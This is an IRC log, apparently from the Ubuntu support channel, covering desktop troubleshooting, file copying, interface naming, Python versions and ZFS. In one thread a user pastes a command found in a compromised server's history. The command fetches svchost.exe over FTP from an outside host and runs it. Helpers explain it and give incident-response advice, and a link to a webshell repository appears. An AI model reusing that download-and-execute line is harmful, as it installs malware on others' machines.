[15:04] <ioria> guest-ajqjlq, it's a desktop or laptop ?
[15:04] <guest-ajqjlq> ioria: desktop
[15:04] <ioria> guest-ajqjlq, check the card
[15:04] <guest-ajqjlq> I am not sure it is nvidia or not
[15:05] <guest-ajqjlq> ioria: how should I check i?
[15:05] <ioria> guest-ajqjlq, guess :-)
[15:06] <ioria> guest-ajqjlq, you have to open the cabinet
[15:06] <guest-ajqjlq> ioria: in ubuntu froume I raed this problem is for nvidia and I thought I have nvidia
[15:06] <guest-ajqjlq> ioria: let me open it
[15:07] <guest-ajqjlq> ioria: I opened it
[15:08] <ioria> guest-ajqjlq,  and ? do you have a second card plugged ?
[15:08] <guest-ajqjlq> ioria: no . and my main board is asus z170-A
[15:09] <ioria> guest-ajqjlq,  so ... what about nvidia ???
[15:10] <guest-ajqjlq> ioria: how do I know which is on board graphic?
[15:10] <ioria> guest-ajqjlq,  your gpu is the intel (integrated) one
[15:10] <ioria> guest-ajqjlq,  your gpu is the intel (integrated) one
[15:11] <ioria> guest-ajqjlq,  Sky Lake Integrated Graphics
[15:11] <guest-ajqjlq> ioria: then what did it happen for gui mod?
[15:12] <ioria> guest-ajqjlq,  now we'll see ... try start the pc , ope a console and we'll add a new user
[15:13] <texla> I want to transfer a password manager (pasaffe) from sda6 Ubuntu to sda7 Mint 17.3 How do I accomplish this chore
[15:13] <guest-ajqjlq> ioria: pc is up
[15:13] <ioria> guest-ajqjlq,  open a console
[15:13] <Hanumaan> ioria, I'm running as python CanSmiles.py
[15:13] <guest-ajqjlq> ip opened
[15:14] <Hanumaan> ioria, I'm not sure if I answered you correctly
[15:14] <ioria> guest-ajqjlq,  sudo adduser robotboy
[15:15] <guest-ajqjlq> ioria: I created
[15:15] <ioria> guest-ajqjlq,  reboot and try to login
[15:16] <ioria> guest-ajqjlq,  in the new user
[15:16] <guest-ajqjlq> but what did it happen for already user?
[15:17] <ioria> guest-ajqjlq,  nothing
[15:17] <glitsj16> texla: have you tried copying files from sda6 to sda7 (~/.local/share/pasaffe)?
[15:18] <guest-ajqjlq> ioria: I did many customition for that , I have to do for new user again ?
[15:18] <ioria> guest-ajqjlq,  yes, but this is just a test  .... can you login as 'robotboy' user ?
[15:19] <guest-ajqjlq> ioria: ok , If i reboot , I will logout friom IrC after I login I will come agin
[15:20] <ioria> ok
[15:20] <texla> glitsj16, /home/ray/.local/share/pasaffe: Is a directory
[15:21] <glitsj16> texla: that is the location on sda6?
[15:21] <texla> glitsj16, ubuntu 16.04
[15:22] <leftyfb> If I do a fresh install of Ubuntu 14.04 server onto an Intel NUC, the 2nd interface is p2p1. If I do  fresh install of Ubuntu 16.04 server onto the same machine the interface is enp1s0. If I upgrade from 14.04 to 16.04 it keeps the p2p1. Any idea how I can force it to use the name that 16.04 natively wants use for the interface?
[15:22] <glitsj16> texla: okay, and where is sda7 mounted right now in Ubuntu?
[15:22] <leftyfb> besides manually writing a udev rule
[15:22] <ioria> Hanumaan,  the error is about a missing module , that you usually solve installing its python-package ... but not in this case it seems
[15:23] <robotboy> ioria: I could login with robotboy
[15:23] <Hanumaan> ioria, yes you are right not sure how it should be solved the
[15:24] <texla> glitsj16, sda7 is the distro Mint 17 phisical location in gparted in right after sda6
[15:24] <ioria> robotboy, so it's about your personal settings in the old user ... what have you done recently ? (you can also check the ~/.xsession-erros file)
[15:25] <raub> Havign newbie issues here: I rebuilt my desktop (16.04 server + lxde) and now I have no sound.
[15:25] <robotboy> ioria: I did many rdp sessions just
[15:25] <glitsj16> texla: yes I get that.. but you need to mount it while running ubuntu so you can copy over the pasaffe directory
[15:25] <raub> According to pacmd, only sink is hdmi-stereo
[15:25] <raub> Where's my speaker out ports?
[15:25] <ioria> robotboy, no, it's not that
[15:26] <ioria> robotboy,  cat .xsession-errors
[15:26] <glitsj16> texla: unless you have another partition mounted that you share between both ubuntu & mint, in that case you can copy it there and put it where pasaffe expects it while running mint
[15:26] <robotboy> ioria: for already user?
[15:27] <glitsj16> leftyfb: iirc you could try net.ifnames=0 as kernel param
[15:28] <robotboy> ioria: http://paste.ubuntu.com/25370250/
[15:28] <ioria> robotboy,  cat /home/pabed/.xsession-errors
[15:29] <robotboy> ioria: http://paste.ubuntu.com/25370253/
[15:30] <leftyfb> glitsj16: that is the opposite of what I'm looking for
[15:31] <ducasse> leftyfb: iirc, this happens because of a .rules file in /etc/udev/rules.d/
[15:31] <leftyfb> ducasse: there's no rules in /etc/udev/rules.d
[15:32] <leftyfb> ducasse: I just want the new, native ifae names from 16.04.
[15:33] <ioria> robotboy, yeah, some crashes .... you can logout , login your old user (in console) and try to back-up (move) your ~/.config and ~/.compiz folders
[15:33] <glitsj16> leftyfb: oh I misread your message, besides a udev rule I don't think there's an option.. systemd is the reason why it changes if names on 16.04 and trusty isn't systemd as far as I know
[15:34] <texla> glitsj16, ray@ray-Kudu-Pro:~$ sudo mount /dev/sda7 /mnt
[15:34] <texla> [sudo] password for ray: I did not get an icon showing it mounted
[15:34] <ioria> brb
[15:34] <robotboy> ioria: move them to anywhere I want?
[15:35] <leftyfb> glitsj16: a fresh install of 16.04 gets the names I'm looking for. An upgrade from 14.04 (p2p1) to 16.04(enp1s0) causes the names to stick with the 14.04 naming. I'd like to have the upgraded 16.04 act like a fresh install of 16.04 and use the fresh install names without having to manually edit/create a udev rule since the fresh install doesn't need this rule
[15:35] <glitsj16> texla: can you see it under /mnt with ls?
[15:36] <ioria> robotboy,  sue, always in you home ... and btw, you need to add your new user (robotboy) to sudo if you want to use it
[15:41] <robotboy> ioria: I did  mv ~/.config / but this ~/.compiz  it cannot
[15:41] <texla> glitsj16, /mnt:
[15:41] <texla> bin   cdrom  etc   initrd.img  lost+found  mnt  proc  run   srv  tmp  var
[15:41] <texla> boot  dev    home  lib         media       opt  root  sbin  sys  usr  vmlinuz
[15:43] <robotboy> ioria: it says can not stat /home/pabed and /.compiz
[15:43] <glitsj16> texla: try 'cp -R -a /home/ray/.local/share/pasaffe /mnt/home/ray/.local/share/pasaffe' .. I'm assuming here that you have the same username on both ubuntu and mint, otherwise you'll need to adjust the second path
[15:45] <texla> glitsj16, bash: cp -R -a /home/ray/.local/share/pasaffe /mnt/home/ray/.local/share/pasaffe: No such file or directory
[15:45] <glitsj16> leftyfb: I don't know why an update to 16.04 would keep the old 14.04 naming, I'm looking for some wiki page I saw some time ago that deals with that.. I'll let you know if I found it
[15:46] <ioria> robotboy, ok, try to reboot and log in pabed
[15:46] <leftyfb> from dmesg on fresh install of 16.04: igb 0000:01:00.0 enp1s0: renamed from eth0
[15:46] <leftyfb> from dmesg on upgraded install of 14.04 to 16.04: igb 0000:01:00.0 p2p1: renamed from eth0
[15:47] <glitsj16> texla: mkdir -p /mnt/home/ray/.local/share/pasaffe and then try again
[15:47] <robotboy> ioria: then I will disconnected from irc
[15:47] <ioria> ok
[15:48] <leftyfb> I've found lots of documentation on reverting back to 14.04 naming and forcing your own with udev rules. I'm trying to just make it use the new naming that 16.04 uses on a fresh install without having to use udev rules which the fresh install doesn't use for it's naming.
[15:49] <texla> glitsj16,  mkdir -p /mnt/home/ray/.local/share/pasaffe  No response!!
[15:51] <glitsj16> texla: that means it did what it was supposed to, create that dir.. not getting a response is usually a good thing in linux territory
[15:51] <glitsj16> texla: you can check with ls whether the dir exists now in /mnt
[15:54] <robotboy_> ioria: it stays in logo page
[15:54] <yeeve> Wine recommends this `sudo dpkg --add-architecture i386`, is there a downside to doing this?
[15:54] <texla> glitsj16, ray@ray-Kudu-Pro:~$ sudo ls /mnt
[15:54] <texla> bin   cdrom  etc   initrd.img  lost+found  mnt	proc  run   srv  tmp  var
[15:54] <texla> boot  dev    home  lib	       media	   opt	root  sbin  sys  usr  vmlinuz
[15:54] <glitsj16> texla: it would have been easier if you had run pasaffe in mint already, it would have created the needed files and folder.. but try the copy command again, check if /mnt/home/ray/.local/share/pasaffe looks exactly the same as in ubuntu's /home/ray/.local/share/pasaffe, and boot into mint to use the pasaffe software
[15:55] <glitsj16> texla: ls /mnt/home/ray/.local/share/pasaffe
[15:55] <ioria> robotboy_, you did something that don't remember ... open a console and paste  ls -al ~
[15:56] <texla> glitsj16, bash: cp -R -a /home/ray/.local/share/pasaffe /mnt/home/ray/.local/share/pasaffe: No such file or directory
[15:57] <glitsj16> texla: ls -la /mnt/home/ray/.local/share | nc termbin.com 9999
[15:57] <robotboy_> ioria: sorry what was it ls -al ~ | nc to where?
[15:57] <ioria> robotboy_,  nc termbin.com 9999
[15:57] <glitsj16> leftyfb: https://wiki.archlinux.org/index.php/Systemd-networkd#Renaming_an_interface was what I was getting at
[15:57] <robotboy_> thanks
[15:58] <ioria> robotboy_,  btw, what ubuntu release are you on '
[15:59] <yeeve> Is this the _best_ way to install Wine on Ubuntu? https://wiki.winehq.org/Ubuntu
[15:59] <texla> glitsj16, ray@ray-Kudu-Pro:~$ ls /mnt/home/ray/.local/share/pasaffe
[15:59] <robotboy_> ioria: 16.04
[15:59] <ioria> robotboy_,  uname -r
[15:59] <texla> glitsj16, http://termbin.com/yeda
[16:01] <glitsj16> texla: good, now 'ls -la /mnt/home/ray/.local/share/pasaffe | nc termbin.com 9999'
[16:01] <robotboy_> ioria: termbin.com/g5y7
[16:01] <ioria> robotboy_,  uname -r
[16:02] <texla> glitsj16, bash: ls -la /mnt/home/ray/.local/share/pasaffe | nc termbin.com 9999: No such file or directory
[16:02] <ioria> robotboy_,  nope, you'r old user ... pabed
[16:02] <robotboy_> ioria: termbin.com/bnn9
[16:03] <leftyfb> glitsj16: There's go to be a way to 'fix' an upgraded 16.04 to act like a fresh install of xenial and not have to manually specify the name of the interfaces in order to get the if names that 16.04 natively wants to use.
[16:03] <ioria> robotboy_,  ls -al /home/ pabed
[16:05] <glitsj16> leftyfb: I agree, to me it looks like a bug, maybe present your issue to #systemd
[16:06] <robotboy_> ioria: termbin.com/tor85
[16:07] <robotboy_> ioria: termbin.com/knou
[16:07] <ioria> robotboy_,  you have files owned by root
[16:08] <ioria> robotboy_,  .dbus minicom.log .viminfo  core
[16:09] <ioria> robotboy_,  why is that ?
[16:09] <robotboy_> ioria: i use minicaom more today
[16:10] <robotboy_> ioria: for accessing to serial port
[16:10] <ioria> robotboy_,  you have sudo right with robotboy user ?
[16:10] <robotboy_> ioria: no
[16:11] <ioria> robotboy_,  type   'id'
[16:11] <ioria> robotboy_,  especially  .dbus  is wrong
[16:12] <robotboy_> ioria: termbin.com/xofo
[16:15] <ioria> robotboy_,  ok, login in pabed user and sudo adduser robotboy  sudo
[16:17] <ioria> robotboy_,  and sudo chown -R pabed:pabed  .dbus
[16:18] <conrmahr> Does Xenial have VNC built into it? How can I screen share from a macOS to a Xenial Machine?
[16:21] <robotboy_> ioria: termbin.com/8dxi
[16:21] <robotboy_> ioria: it says chown cannot access chown
[16:21] <robotboy_> ioria: sorry ,it says chown cannot access .dbus
[16:32] <ioria> robotboy_, are you in the pabed home directory ?
[16:33] <robotboy_> ioria: let me see
[16:34] <robotboy_> ioria: no /home/robotboy
[16:34] <ioria> robotboy_,  sudo chown -R pabed:pabed /home/pabed/.dbus
[16:35] <ioria> robotboy_,  do it also for the other files
[16:38] <robotboy_> ioria: it says no such a file or directory /home/pabed
[16:39] <ioria> robotboy_,  cd  /home/pabed
[16:39] <n1amr__> hello world
[16:42] <robotboy_> ioria: bash:cd:/home/pabed: no such a file or directory
[16:42] <robotboy_> ioria: does it need reboot?
[16:42] <ioria> robotboy_,  we are talking about your old home folder ....
[16:43] <ioria> robotboy_,  don't you have under /home   a pabed folder ?
[16:44] <robotboy_> ioria: No it is just robotboy
[16:44] <ioria> robotboy_,  and where is you pabed directory is i may ask ?
[16:45] <robotboy_> ioria: I dont know what happend
[16:45] <ioria> robotboy_,  under / ?
[16:46] <robotboy_> ioria: yes I have
[16:46] <ioria> robotboy_,  you have your old-user home folder under root ?
[16:48] <robotboy_> ioria: I don't know how it moves go on
[16:48] <ioria> robotboy_,  you say it did it by itself ?
[16:48] <religiono> hi
[16:49] <religiono> to compile python from source , what are the tools that I need?/
[16:49] <religiono> Pici: hello agian
[16:49] <robotboy_> ioria: virus can do that?
[16:49] <ioria> sure
[16:49] <nacc> religiono: why would you compile python from source??
[16:50] <nacc> religiono: don't do it, is my recommendation
[16:50] <religiono> nacc wht else
[16:50] <religiono> I want to
[16:50] <religiono> nacc py3.5 is old
[16:50] <robotboy_> ioria: if I move it to /home it will be ok?
[16:50] <religiono> there is nothing wrong with ocmpilation, its the UNIX way
[16:50] <ioria> absolutely
[16:50] <robotboy_> ioria: let me try
[16:51] <nacc> religiono: it's not a support topic
[16:51] <nacc> religiono: you can go ask the python folks how to compile python, if you want
[16:51] <nacc> !latest | religiono
[16:51] <religiono> nacc but how to install py on ubuntu??? on ubuntu
[16:51] <religiono> 3.6
[16:51] <nacc> religiono: what version of ubuntu?
[16:51] <religiono> it's ubuntu related.
[16:51] <religiono> xenial
[16:51] <nacc> religiono: you don't.
[16:51] <nacc> religiono: python3.6 is only on 17.04+
[16:51] <religiono> What, fuck
[16:52] <religiono> so that's what i will compile
[16:52] <nacc> religiono: watch your language, please, and also read the !latest faq again.
[16:52] <robotboy_> ioria: I did it , I have to reboot it right know?
[16:52] <ioria> absolutely
[16:53] <religiono> hey py3.6 is several months old, and also how does ubuntu check for stability when it's a programming language adn not a software.
[16:53] <nacc> religiono: you understand that python is an *interpreter*, not just a language, right?
[16:53] <robotboy_> ioria: the I will be disscontected
[16:53] <religiono> nacc of course.
[16:53] <religiono> but it's stable
[16:53] <nacc> religiono: so your question doesn't make any sense
[16:53] <nacc> religiono: python is absolutely "a software"
[16:54] <religiono> yes, it does, as the interpreter is stable
[16:54] <nacc> religiono: python3.6 makes changes that are not compatible with 3.5. So you have to update *everything* that might break. Or you get runtime failures. That's why the version isn't bumped in 16.04.
[16:55] <religiono> and it's too old, several months old, not like a week old. so I read teh latest faq, and is not applicable i this situation, especially for old enough packages,l some softwares in ubuntu repos are even several years old!!!
[16:55] <nacc> religiono: i'm not sure why you think you are smarter than the people that maintain software in ubuntu
[16:55] <nacc> religiono: it feels like maybe you don't understand what stability means in the context of that faq?
[16:56] <religiono> may be.
[16:57] <religiono> especially too old softwares tend to introduce not just unstability, but serious security flaws....
[16:57] <religiono> that's a strong argument against security in ubuntu.
[16:57] <nacc> religiono: no, it' snot
[16:57] <nacc> *it's not
[16:57] <religiono> elaborate
[16:57] <nacc> religiono: packages in main have security support.
[16:58] <religiono> what do you mean.
[16:58] <religiono> it 's full of old bugs.
[16:58] <pabed> ioria:
[16:58] <pabed> ioria: it works
[16:59] <nacc> religiono: i think you're being awfully hand-wavy
[16:59] <nacc> religiono: if you want to point to a specific bug that you think is unfixed, that would be great
[17:00] <nacc> religiono: otherwise, i have other work to attend to
[17:00] <pabed> ioria: thanks alot , but my desktop is empty but in /home/pabed/Desktop there is my old desktop
[17:01] <lotuspsychje> !usn | religiono if you find new security bugs
[17:01] <ioria> pabed, just move back ~/.config (but, maybe it's more important find out how your home was under root)
[17:02] <jnewt> if i want to run a piece of software using wine (there's no linux version), is there a best windows version of the software to choose?  I also have mac version available (it's my fujitsu scanner software)
[17:03] <lotuspsychje> !sane | jnewt can this help also?
[17:04] <gabrielc> jnewt: https://appdb.winehq.org/
[17:04] <pabed> ioria: thank you so much for your time
[17:04] <jnewt> lotuspsycheje: i tried sane, but it only has partial support for my scanner.
[17:04] <pabed> ioria: sorry if I took your valuable time
[17:05] <lotuspsychje> jnewt: perhaps tryout other linux based scanner software with more settings?
[17:06] <jnewt> lotuspsychje, wouldn't the actual manufacturer's software be the best bet under wine since it will support all features and settings (which is what I want)?
[17:07] <lotuspsychje> jnewt: you can try the wine way also yes
[17:10] <jnewt> lotuspsychje, ok, i've tried the win7 version, and i get An internal error occurred...File analysis failed
[17:11] <lotuspsychje> jnewt: https://opensource.com/life/14/8/3-tools-scanners-linux-desktop
[17:12] <ducasse> jnewt: i'm really unsure if scanner software will work under wine, better ask the wine people if that is possible
[17:12] <lotuspsychje> jnewt: vuescan is pretty powerfull also
[17:13] <ioria> pabed, you're welcome
[17:14] <jnewt> simple scan will scan, but won't let me split up the scans when saving, it takes all the pages from the feeder and puts them all in one pdf
[17:14] <jnewt> that or click the single scan over and over again
[17:15] <religiono> what does apt-get build-dep python3
[17:15] <religiono> what does it do
[17:15] <lotuspsychje> jnewt: vuescan has an auto-save feature
[17:15] <ducasse> jnewt: can't something like pdftk split it?
[17:15] <ducasse> religiono: see the man page for apt-get
[17:16] <religiono> what's the equivalent of that on arch ducasse
[17:16] <religiono> or arch does not have similar feature?
[17:16] <jnewt> ugh, it won't duplex scan either.
[17:16] <ducasse> religiono: we don't support arch
[17:33] <littlekitty> hello
[17:34] <littlekitty> i just sshed to a server
[17:34] <littlekitty> and by chance read some weird commands in the shell's history
[17:35] <pavlos> like ?
[17:35] <littlekitty> cmd /c echo open ftp.webcindario.com  21 >> ik &echo user masterwarez masterwarez >> ik &echo binary >> ik &echo get svchost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svchost.exe &exit
[17:35] <EriC^^> littlekitty: such as?
[17:35] <littlekitty> like this
[17:35] <littlekitty> and two more
[17:35] <EriC^^> that's pretty weird
[17:35] <littlekitty> and
[17:35] <littlekitty> adduser tor
[17:36] <ioria> svchost.exe is a windows thing
[17:36] <littlekitty> su tor
[17:36] <lotuspsychje> hey EriC^^
[17:36] <EriC^^> heya lotuspsychje
[17:36] <pavlos> littlekitty: the command 'last' will show who logged on and when
[17:37] <leftyfb> littlekitty: if you do not recognize those commands and you are supposed to be the only user on it, then it has been compromised and it's time to wipe it completely and restore from backup
[17:37] <James_Epp> Hello. Can anyone in channel give any anecdotes on https://help.ubuntu.com/community/Installation/LocalNet#A_variation:_Booting_the_.22Live_CD.22_image ? My goal is to pxe boot the ISO contents (using nfs netboot) on a computer, and then install Ubuntu onto that computer's HDD. The reason I ask is that back in the day I did this with 12.04, the actual install on the destination computer would have no networking at all. Can anyone verify if that
[17:37] <James_Epp> bug is resolved?
[17:38] <nacc> James_Epp: do you have a bug #?
[17:38] <nacc> James_Epp: your specific bug could be any number of bugs, not really obvious how to know if it's fixed or not
[17:38] <James_Epp> nacc: No, reported in this thread. https://lists.ubuntu.com/archives/ubuntu-installer/2013-April/001285.html
[17:39] <littlekitty> pavlos: thank you, it only shows me root
[17:39] <pavlos> littlekitty: opened an ftp connection, logged on as masterwarez, changed mode to binary, and grabbed svchost.exe file. Probably compromised
[17:39] <EriC^^> littlekitty: is the shell history of root?
[17:40] <littlekitty> do you mean if I'm logged in as root right now?
[17:40] <littlekitty> pavlos, but its linux there shouldn't be that exe?
[17:40] <EriC^^> littlekitty: yeah, where's the command you pasted from? root's history?
[17:40] <pavlos> littlekitty: this command shows up in your .bash_history?
[17:40] <littlekitty> ah, yes it does
[17:41] <nacc> James_Epp: i don't know if it's resolved, try it and see? without a bug #, it's hard to do much with a ML post from 4 years ago
[17:41] <EriC^^> littlekitty: disconnect the server from the internet, take a look at how they got in, and restore from backup
[17:41] <James_Epp> nacc: I was aware it would be a long shot and probably come down to experimentation. We'll find out!
[17:42] <leftyfb> littlekitty: none of this is relevant if you did not type those commands. Someone else did which means you have been compromised (not probably). Time to wipe clean, reinstall and restore from backup. Maybe take an image of your machine (offline) and after you rebuild, look at the image to try and find out how it might have been compromised.
[17:43] <leftyfb> littlekitty: step #1, immediately take said machine offline and do not reconnect until it has been wiped and reinstalled
[17:44] <littlekitty> Would it be save to download a few text files first?
[17:44] <pavlos> littlekitty: you can look at /var/log/auth.log to see WHEN someone became root in your system but as others said, take the machine offline
[17:45] <leftyfb> littlekitty: since that'll take seconds and you've already kept it online for at least 10 minutes longer than you should have, sure
[17:45] <leftyfb> pavlos: no. None of this should be done until it has been taken offline first.
[17:45] <ioria> littlekitty, if can helps, those are msdos commands
[17:45] <EriC^^> yeah it seems like a bot ran those commands
[17:46] <leftyfb> ioria: the point is, someone/script got access. It needs to be taken offline ASAP
[17:46] <ioria> sure
[17:46] <littlekitty> pavlos: the file is empty
[17:46] <EriC^^> littlekitty: do you have root access enabled for ssh? password?
[17:46] <EriC^^> standard ssh port still set?
[17:46] <leftyfb> littlekitty: Have you disconnected this machine from the internet yet?
[17:46] <pavlos> littlekitty: /var/log/auth.log empty?
[17:46] <littlekitty> pavlos: yes it's empty
[17:47] <littlekitty> leftyfb: no, i'm still saving those config files I need
[17:47] <gabrielc> littlekitty: check out another hosts, change passwords, etc.
[17:47] <pavlos> littlekitty: is there an auth.log.1 or other auth compressed files in /var/log/ ?
[17:48] <leftyfb> littlekitty: ok, then after the seconds it takes to copy a text file aby any means, disconnect it from the internet
[17:49] <leftyfb> pavlos: please. You are setting a bad example by encouraging littlekitty to troubleshoot a compromised machine while it is still online. We really should not be providing any further supported until we are 100% certain the machine is offline
[17:50] <leftyfb> if a compromise is in question, the first step no matter what should always be to unplug the ethernet cord/disable wireless. No ifs ands or buts
[17:51] <leftyfb> troubleshoot/diagnose/forensics/whatever after it's offline
[17:51] <littlekitty> pavlos there is an auth.log - without the 1 at the end
[17:51] <leftyfb> littlekitty: is the machine offline?
[17:51] <pavlos> littlekitty: please pull the rj45 plug
[17:52] <pavlos> littlekitty: or disconnect if on wifi
[17:52] <gabrielc> leftyfb: all rj45 plugs
[17:53] <leftyfb> gabrielc: sure, though 99.9% of the time, the machine does not have multiple connections to the internet
[17:53] <gabrielc> leftyfb: but has only interface?
[17:55] <pavlos> littlekitty: after the machine is offline, we can look inside how/when someone got in as root. As long as you're online, your machine can be used to attack another vector
[17:56] <littlekitty> thank you guys. i just need for more files
[17:56] <littlekitty> then ill disconnect it immediately
[17:57] <leftyfb> littlekitty: we're not saying you have to wipe this machine right this minute. Only disconnect it from the internet
[17:58] <leftyfb> littlekitty: if you have a keyboard and monitor plugged in, then disconnect it from the internet immediately and worry about your backup after (though you should have worried about that before. A topic for later)
[17:58] <pavlos> littlekitty: you can copy files to a usb stick while offline
[18:02] <littlekitty> okay its shut down now
[18:03] <littlekitty> so now I have to drive there best take the ssd with me
[18:03] <littlekitty> and rewrite the image to it?
[18:04] <leftyfb> littlekitty: You could grab the SSD, make an image of it somewhere for later forensics and backup. Then wipe it and reinstall
[18:05] <littlekitty> leftyfb: i'm not at all into data forensics so I figure i could skip the backup?
[18:05] <gabrielc> littlekitty:  now change the passwords that host knew
[18:06] <leftyfb> littlekitty: Are you more into data forensics or running through this whole process every time your machine gets compromised?
[18:07] <littlekitty> it must have been an unconfigured vnc server tool I figure
[18:07] <gabrielc> littlekitty: and check out another hosts that you manage
[18:07] <littlekitty> because the other day I was talking with some guys about vnc
[18:07] <leftyfb> littlekitty: that's not how security works
[18:07] <littlekitty> and at some point i did a big whoopsie and pasted the config file
[18:08] <littlekitty> ill be right back, the machine is shut down atm and ill get a backup of the ssd
[18:08] <leftyfb> littlekitty: There might be someone here or in another ubuntu/linux channel with the time and ability to help you find out how it got compromised using your backup. This way you don't make the same mistake(s) and get compromised and contribute to the spam/fraud/abuse on the internet
[18:09] <gabrielc> perhaps related https://github.com/tennc/webshell/blob/master/php/poison.php
[18:11] <johnfg> hi folks
[18:11] <pavlos> littlekitty: HISTTIMEFORMAT="%d/%m/%y %T " then type history. It will show the datetime for each command. Find when that cmd /c happened. Match with auth.log to see when root logged in
[18:12] <johnfg> just installing a new 16.04.3 LTS on a qemu/kvm centos host.
[18:12] <johnfg> I want to use zfs to learn it.
[18:13] <johnfg> When the installer is asking about Installation type: what should I choose if I plan on using zfs?
[18:16] <leftyfb> pavlos: I'm not so sure that works retroactively
[18:17] <pavlos> leftyfb: I just typed in on my system and it showed me old datetime
[18:17] <leftyfb> pavlos: did you already have this setup?
[18:18] <pavlos> leftyfb: timeformat was not set but I have history set
[18:18] <leftyfb> pavlos: I'm pretty sure it will only record the datetime to the history log after you set the format. Otherwise, it's not recording timestamps but instead line numbers
[18:19] <leftyfb> pavlos: btw, HISTTIMEFORMAT='%F %T ' is a slightly cleaner way of typing it
[18:20] <pavlos> leftyfb: try it ... history gave me line# and command, set HISTFORMAT and I got line# datetime command
[18:21] <ducasse> johnfg: leave room for an extra filesystem or add virtual disk(s). the installer knows nothing about zfs - you need to handle that later
[18:22] <leftyfb> pavlos: I tried it on a machine where HISTTIMEFORMAT hasn't been specified (by default) and it does not work the way you think it does. The entire history up until that point has a timestamp of the time you set HISTTIMEFORMAT
[18:22] <leftyfb> pavlos: so it littlekitty's case, it won't help them
[18:22] <w9qbj> I have a new install of apcupsd, and along with it apctest. I'm not sure if apcupsd is working or not, apctest errors out. OS 16.04 64 bit. any help available?
[18:23] <gabrielc> pavlos: leftyfb: here works by default
[18:23] <stealintv> leftyfb: Same here. all timestamps show 8/22/2017 regardless of when I typed the commands
[18:24] <leftyfb> gabrielc: HISTTIMEFORMAT is not set by default in Ubuntu. Not in server anyway. And I'm pretty certain not in the desktop either.
[18:25] <johnfg> ducasse: Ok, but can zfs convert or I'd just be adding the pools?
[18:25] <gabrielc> leftyfb: not with root's history. you are right
[18:25] <ducasse> johnfg: you can't convert
[18:25] <leftyfb> gabrielc: not with any user's history. Otherwise, you copied your own .bashrc or the like beforehand
[18:25] <johnfg> ducasse: Is this true for any later releases?  i.e., are none of them using zfs?
[18:26] <ducasse> johnfg: none of them has support in the installer. don't know when/if that is planned for.
[18:26] <gabrielc> leftyfb: for a moment i thought there was magic
[18:29] <gabrielc> magic does not exist, what exists are the magicians
[18:29] <johnfg> ducasse: https://github.com/zfsonlinux/zfs/wiki/Ubuntu-16.04-Root-on-ZFS have you ever looked at this?
[18:30] <leftyfb> gabrielc: ( ・◡・)つ━☆ﾟ.*･｡ﾟ
[18:31] <ducasse> johnfg: yes. it's totally unsupported, but you are welcome to try. zfs is only supported for data on ubuntu, not the root fs.
[18:35] <johnfg> ducasse: At least if I do it, it will be in a vm, so I can always blow away and start over :-)
[18:36] <Emmarof> hello
[18:36] <Emmarof> I changed the proxy and port of my ubuntu 14.04
[18:37] <Emmarof> After I changed back to default I can't find the files the wireless connection among the list in the network settings
[18:38] <Emmarof> any help?
[18:38] <littlekitty> pavlos: thanks i'll try that command though i didn't find anything in the log file. maybe the attacker wiped the file clean before leaving?
[18:39] <ducasse> johnfg: right :) you can use virtual disks for the pools, or even files
[18:39] <Emmarof> hello
[18:39] <pavlos> littlekitty: no need to ... leftyfb wrote that it will not work retroactively
[18:39] <Emmarof> ANy hlp?
[18:39] <littlekitty> pavlos: oh I see, thanks anyway
[18:39] <ducasse> !patience | Emmarof
[18:45] <nicomachus> Emmarof: try rephrasing your question. I can't tell what you mean.
[18:49] <simonious> I've been running linux in a VM for a while and it cramps my style a little, I do need to keep running windows on my desktop for things like solidworks, but I'd like to move linux to it's own box rather than a VM AND I'd still like to be able to access the GUI from my windows desktop.. how?  I've seen it done.
[18:50] <ducasse> !vnc | simonious
[18:51] <simonious> ubottu: should be fine, it'd be LAN activity usually
[18:51] <simonious> ubottu: ty
[18:51] <simonious> lol, got me
[18:51] <simonious> ducasse: thanks
[19:19] <edge226> I just did a Ubuntu 16.04 install. It does not seem to honor what UEFI partition to use, Why not?
[19:19] <ioria> edge226, sudo parted -l
[19:20] <edge226> I have 3 UEFI partitions. It saw all 3. I told it not to use the nvme *AND* not to use the SDA, Yet it override my choice of SDC having the data and stuck it on the first drive in the list the nvme.
[19:20] <edge226> I told it to install the bootloarder on SDC as well at the bottom.
[19:21] <edge226> ioria: this is not a requires troubleshooting issue, this is a I want info on why it wont install to the partition I tell it to inquiry.
[19:22] <edge226> Every ubuntu install has not honored my choices since I've had this computer. The old one I would not have noticed because it was legacy but this one... I made a special UEFI parition so it could not screw with the other paritions and I'd like to know why.
[19:23] <edge226> I can clearly see via lsblk that it has overriden my choice... ├─nvme0n1p1 259:1    0   512M  0 part /boot/efi
[19:23] <bizzeh> the ubuntu installer has taken the top spot from the windows installer on "installer that completely ignores your choices and does what it feels best, because it knows better than you". does it it me all the time
[19:24] <edge226> bizzeh: thanks for telling me its not *just* me.
[19:24] <edge226> This is a pretty serious bug imho.
[19:24] <bizzeh> bug/by design
[19:24] <edge226> shit by design, makes sense.
[19:25] <bizzeh> devs/maintainers seem to think they know better than users when it comes to how they want their system to be set up
[19:26] <edge226> Not all of them, only the shitty ones.
[19:26] <bizzeh> windows caught enough shit for it in the past that now, its one of the best installers "install here, in this way, on this disk, on this partition.." "ok".. where you would previously get "no, eat a dick, im using all of disk0"
[19:26] <ioria> !language
[19:27] <bizzeh> even when ubuntu installs to the correct partition for me, i point the bootloader to that partition, as i dont want it in the MBR or as an efi loader, i want it in the partition....  ignores me and stuffs it in the mbr
[19:27] <edge226> honestly all of the installers are pretty poor. But installers are a freakishly complex thing to make.
[19:28] <bizzeh> ioria: offence is taken, not given. if somebody is offended by words that are typed on a screen, they need to reevaluate their priorities
[19:28] <edge226> bizzeh: I think its more, we don't know the age of the person who may be on the other end and they want it to be family friendly than anything else.
[19:28] <ioria> bizzeh, simply no need for that
[19:28] <bizzeh> "offence" is also wildely subjective
[19:29] <ioria> bizzeh, nope
[19:29] <edge226> ioria: he does have a point though, people tend to try to be offended by everything and try to make it so you can't really say anything these days.
[19:29] <bizzeh> yes, it is, it varies not only from culture to culture, but varies widely within a single culture and from person to person, what some people find offensive, others dont really care about
[19:30] <bizzeh> cant satisfy everyone all the time
[19:30] <bizzeh> the world ties to hard to do just that, and it should stop it
[19:30] <oerheks> your rant now is so non-constructive, if you want support, ask so, or file a bugreport to help make it better, especially nvme can have some attention.
[19:30] <bizzeh> yes, the world should be civil, like, dont kill each other, dont rape... but words? really...
[19:31] <ioria> bizzeh, words are the beginning
[19:31] <bizzeh> not if their meaning is stripped away. refuse to be offended by them, they lose their power
[19:32] <bizzeh> words are powerful because people allow them to be
